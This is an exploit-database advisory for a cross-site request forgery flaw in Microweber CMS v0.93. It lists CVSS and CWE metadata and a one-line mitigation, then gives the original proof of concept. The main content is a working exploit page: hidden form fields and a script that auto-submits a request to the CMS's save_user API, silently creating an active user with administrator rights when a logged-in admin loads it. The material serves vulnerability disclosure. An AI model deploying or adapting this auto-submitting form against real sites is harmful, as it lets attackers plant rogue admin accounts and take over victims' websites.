Microweber CMS v0.93 CSRF Vulnerability

vendor:

Microweber CMS

by:

sajith

5.5

CVSS

MEDIUM

CSRF

352

CWE

Product Name: Microweber CMS

Affected Version From: Microweber CMS v0.93

Affected Version To: Microweber CMS v0.93

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Microweber CMS v0.93 CSRF Vulnerability

Application is vulnerable to CSRF. An attacker can use this vulnerability to create a new user and assign Admin role to the user.

Mitigation:

Implement CSRF protection by using tokens and validating the requests.

Source

Exploit-DB raw data:

###########################################################
[~] Exploit Title: Microweber CMS v0.93 CSRF Vulnerability
[~] Author: sajith
[~] version: Microweber CMS v0.93
[~]Vendor Homepage: http://microweber.com/
[~] vulnerable app link:http://microweber.com/download
###########################################################

[*] Application is vulnerable to CSRF.below is the POC where attacker can
use this vulnerability to create new user and assign Admin role to the user


<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="
http://127.0.0.1/cms/microweber-0.9343/microweber-master/api/save_user"
id="formid" method="post">
<input type="hidden" name="id" value="0" />
<input type="hidden" name="thumbnail" value="" />
<input type="hidden" name="username" value="test1" />
<input type="hidden" name="password" value="mypassword" />
<input type="hidden" name="email" value="test@testing.com" />
<input type="hidden" name="first_name" value="abc" />
<input type="hidden" name="last_name" value="xyz" />
<input type="hidden" name="is_active" value="y" />
<input type="hidden" name="is_admin" value="y" />
<input type="hidden" name="basic_mode" value="n" />
<input type="hidden" name="api_key" value="1234" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>